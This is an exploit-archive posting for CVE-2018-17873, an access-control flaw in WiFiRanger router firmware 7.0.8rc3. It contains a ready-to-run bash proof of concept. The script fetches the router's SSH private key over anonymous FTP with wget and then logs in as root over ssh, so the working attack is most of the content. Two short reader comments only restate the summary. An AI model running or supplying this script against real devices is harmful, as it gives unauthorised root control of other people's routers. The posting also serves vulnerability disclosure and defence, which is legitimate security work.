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WiFiRanger 7.0.8rc3 Incorrect Access Control / Privilege Escalation

WiFiRanger 7.0.8rc3 Incorrect Access Control / Privilege Escalation
Posted Oct 19, 2018
Authored by Mitchel Jordan

WiFiRanger version 7.0.8rc3 suffers from an incorrect access control that allows for ftp retrieval of an RSA identity that an attacker can use to ssh in as root.

tags | exploit, root
advisories | CVE-2018-17873
MD5 | 301d05eb6ae49dff97112c3a73c88308

WiFiRanger 7.0.8rc3 Incorrect Access Control / Privilege Escalation

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# Exploit Title: WiFiRanger 7.0.8rc3 Incorrect Access Control - Privilege Escalation (POC)
# Exploit Author: Mitchel Jordan
# Date: 2018-10-18
# Vendor Homepage: https://wifiranger.com/
# Firmware: Phantom 7.0.8rc3
# CVE: CVE-2018-17873

# Details:
# WiFiRanger indoor routers (Core, GoAC) and their outdoor paired routers (Sky Pro, EliteAC, EliteAC FM) running
# firmware version 7.0.8rc3 and earlier allow anonymous FTP read/write access and have left the SSH Private Key
# in the clear - making it a trivial task to view/copy the key and log in with root privileges.
#
# Adjacent network access required to exploit this vulnerability.

# Exploit:
# Extremely simple shell script that grabs the private key and logs in as root.
#
# Usage: ./wifiRangerPwn.sh <WiFiRanger IP>

#!/bin/bash

wget "ftp://$1/sbc/aff/id_rsa"
chmod 600 id_rsa
ssh -i id_rsa root@$1

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ethan247

WiFiRanger 7.0.8rc3 Incorrect Access Control / Privilege Escalation. WiFiRanger version 7.0.8rc3 suffers from an incorrect access control that allows for FTP retrieval of an RSA identity that an attacker can use to ssh in as root.
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2018-10-22 10:59:07 UTC | Permalink | Reply
ethan247

WiFiRanger products are to enhance existing internet sources and make them more usable, while also connecting to these internet sources as desired for the most speed, reliability, and automatic backup.
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